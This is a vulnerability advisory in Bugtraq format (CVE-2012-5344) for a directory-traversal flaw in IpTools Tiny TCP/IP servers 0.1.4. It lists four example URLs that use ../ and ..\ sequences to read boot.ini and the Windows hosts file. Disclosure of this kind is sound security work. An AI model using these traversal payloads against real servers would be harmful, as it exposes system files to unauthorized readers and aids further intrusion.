IpTools Tiny TCP/IP servers Directory Traversal Vulnerability

Bugtraq ID:	51311
Class:	Input Validation Error
CVE:	CVE-2012-5344
Remote:	Yes
Local:	No
Published:	Jan 06 2012 12:00AM
Updated:	Oct 11 2012 07:30PM
Credit:	demonalex
Vulnerable:	SourceForge IPTools 0.1.4
Not Vulnerable:

IpTools Tiny TCP/IP servers Directory Traversal Vulnerability

IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.

IpTools Tiny TCP/IP servers Directory Traversal Vulnerability

An attacker can exploit this issue with a web browser.

The following example URLs are available:

http://www.example.com/..\..\boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
http://www.example.com/../../windows/system32/drivers/etc/hosts

IpTools Tiny TCP/IP servers Directory Traversal Vulnerability

References:

• IpTools Homepage (IpTools)
  
• IpTools(Tiny TCP/IP server) - WebServer Directory Traversal ([email protected])